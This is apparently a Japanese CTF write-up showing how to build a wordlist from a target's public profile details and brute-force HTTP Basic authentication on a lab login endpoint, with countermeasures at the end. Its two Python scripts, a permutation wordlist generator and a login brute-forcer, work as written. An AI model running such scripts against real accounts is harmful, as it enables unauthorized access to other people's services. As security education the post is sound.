ワードリストの生成とパスワード推測攻撃【CTF】

プロフィールなど公開されている情報をパスワードに利用すると、パスワードを推測されて不正アクセスされる可能性があります。
実際にプロフィール情報からワードリストを作成し、パスワード推測攻撃を行ってみます。

注: CELTF の "ToDo管理サービス" に関する解析方法を含みます。

公開された情報をパスワードに利用するリスク

攻撃者は公開された情報や使われやすいワードを利用し、パスワード推測攻撃を行う場合があります。
二段階認証など多段的な認証が行われていればリスクは軽減できますが、パスワード認証のみの場合事前に作成したワードリストを使用してログインを試行し、不正アクセスにつながる可能性があります。

ワードリストの作成

ワードリストを作成するツールとして「Crunch」が有名ですが、特定のワードの組み合わせが必要な場合全てのワードの組み合わせしか対応しておらず、使われるワードが特定できていない場合複雑な処理が必要になります。
「rsmangler」というツールもありますが、今回はPythonのスクリプトを作成してワードリストを作成してみます。

スクリプトの実装

今回プロフィールからパスワードに利用される可能性が高い組み合わせとして以下のワードを取得します。

  • john
  • 1980
  • 0503
  • tokyo
  • soccer
  • barcelona

生年月日は「年」と「月日」で分けて使用される場合が多いため、今回は分けて取り扱います。
一般的には大文字小文字の組み合わせも考慮しますが、今回は小文字に絞っています。
実際に作成したスクリプトはこちらになります。

  • generate_password.py
import itertools

words = ["john", "1980", "0503", "barcelona", "tokyo", "soccer"]

output_file = "passwords_combined.txt"

with open(output_file, "w") as f:
    for r in range(2, 5):
        for combo in itertools.permutations(words, r):
            password = "".join(combo)
            f.write(password + "\n")

print(f"パスワードリストを {output_file} に生成しました。")

今回は単発利用のスクリプトという事もあったので、生成AIに作成してもらいました。
このスクリプトを実行すると、「passwords_combined.txt」にワードリストが生成されます。

認証の検証

今回はパスワードハッシュが漏洩しているわけではないため、実際にログイン用のエンドポイントを実行しログインが成功するかどうかを検証します。
ログイン方法は実際にログインを実行し、ブラウザのデバッグモードから確認する事ができます。

ネットワークタブを開くと実際にリクエストされるURLとBasic認証が使用されている事がわかります。
Basic認証は「{ユーザー名}:{パスワード}」をbase64でエンコードし、「Authorization」ヘッダでBasic認証を指定して送ります。

スクリプトの実装

ログインが成功したらパスワードとして検出する、という仕組みが必要になるためPythonでスクリプトを実装します。

  • attack.py
import requests
from requests.auth import HTTPBasicAuth
import time

TARGET_URL = "http://target2.jail.celtf.com/api/user/_authorize"
USERNAME = "john@example.com"
PASSWORD_FILE = "passwords_combined.txt"

def brute_force_basic_auth():
    try:
        with open(PASSWORD_FILE, 'r') as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[!] エラー: {PASSWORD_FILE} が見つかりません。")
        return

    print(f"[*] 対象: {TARGET_URL}")
    print(f"[*] ユーザー名: {USERNAME}")
    print(f"[*] {len(passwords)} 個のパスワードでテストを開始します...\n")

    for password in passwords:
        try:
            response = requests.post(
                TARGET_URL,
                auth=HTTPBasicAuth(USERNAME, password),
                timeout=3
            )

            if response.status_code == 200:
                print(f"\n[+] 成功!!! パスワードが見つかりました: {password}")
                print(f"[+] レスポンス内容: {response.text}")
                return

            elif response.status_code == 401:
                print(f"[-] 失敗: {password}")

            else:
                print(f"[?] 予期せぬステータスコード {response.status_code} (試行パスワード: {password})")

        except requests.exceptions.RequestException as e:
            print(f"\n[!] 通信エラーが発生しました: {e}")
            break

    print("\n[*] リストの末尾までテストが完了しました。")

if __name__ == "__main__":
    brute_force_basic_auth()

今回のコードも生成AIを使用して作成してみました。

実際の攻撃

実際にこれらのスクリプトを利用して攻撃してみます。
まずは 「generate_password.py」を実行し、ワードリストを作成します。

python generate_password.py
パスワードリストを passwords_combined.txt に生成しました

と表示されれば生成成功です。
次に、作成したワードリストを使用して攻撃してみます。
requests」という外部ライブラリが利用されているため、インストールされていない場合はpipを使用してインストールしてください。

python attack.py

実行すると、以下のようにパスワードが検証されていきます。

[*] 対象: http://target2.jail.celtf.com/api/user/_authorize
[*] ユーザー名: john@example.com
[*] 510 個のパスワードでテストを開始します...

[-] 失敗: john1980
[-] 失敗: john0503
[-] 失敗: johnbarcelona
[-] 失敗: johntokyo

...

最終的に、以下のように出力されればパスワードの検出成功です。

[+] 成功!!! パスワードが見つかりました: *******

対策

ユーザーに求められる対策

パスワードはSNS等で公開している情報などは使わず、可能な限りパスワード管理アプリなどを利用して推測されにくいパスワードを生成する必要があります。
最近ではパスキーや多段階の認証が一般的になってきているので、それらも活用し複数の仕組みで守る事も重要です。

サービスプロバイダーに求められる対策

サービス提供を行う上で継続したログインの失敗は不正アクセスとみなし、アクセスをブロックするなどの対策が求められます。
最近ではパスキーや多段階認証が一般的になっているため、複数の認証システムを提供する事も重要です。

おわりに

今回はワードリストを作成し、実際にパスワード推測攻撃を行ってみました。
すでに公開されている情報の組み合わせだけで検証しましたが、実際にはよく使われるワードリストなど組み込みながらリストを作成します。
公開されている情報などをパスワードに使用すると、一見推測されにくい文字列だったとしても攻撃され不正アクセスされる可能性があります。
基本的にはパスキーや多段階の認証が推奨されますが、複数の防衛ラインを設けるという観点でもSNS等で発信していない文字列や、可能であればパスワード管理アプリなども活用して強いパスワードを利用するようにしてください。

コメント